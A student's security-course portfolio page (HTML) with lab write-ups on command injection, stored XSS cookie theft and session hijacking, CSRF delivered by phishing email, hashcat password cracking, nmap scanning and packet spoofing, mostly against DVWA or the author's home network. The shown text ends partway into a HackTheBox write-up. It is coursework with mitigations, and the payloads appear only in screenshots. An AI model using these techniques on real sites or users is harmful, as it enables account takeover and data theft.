href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see 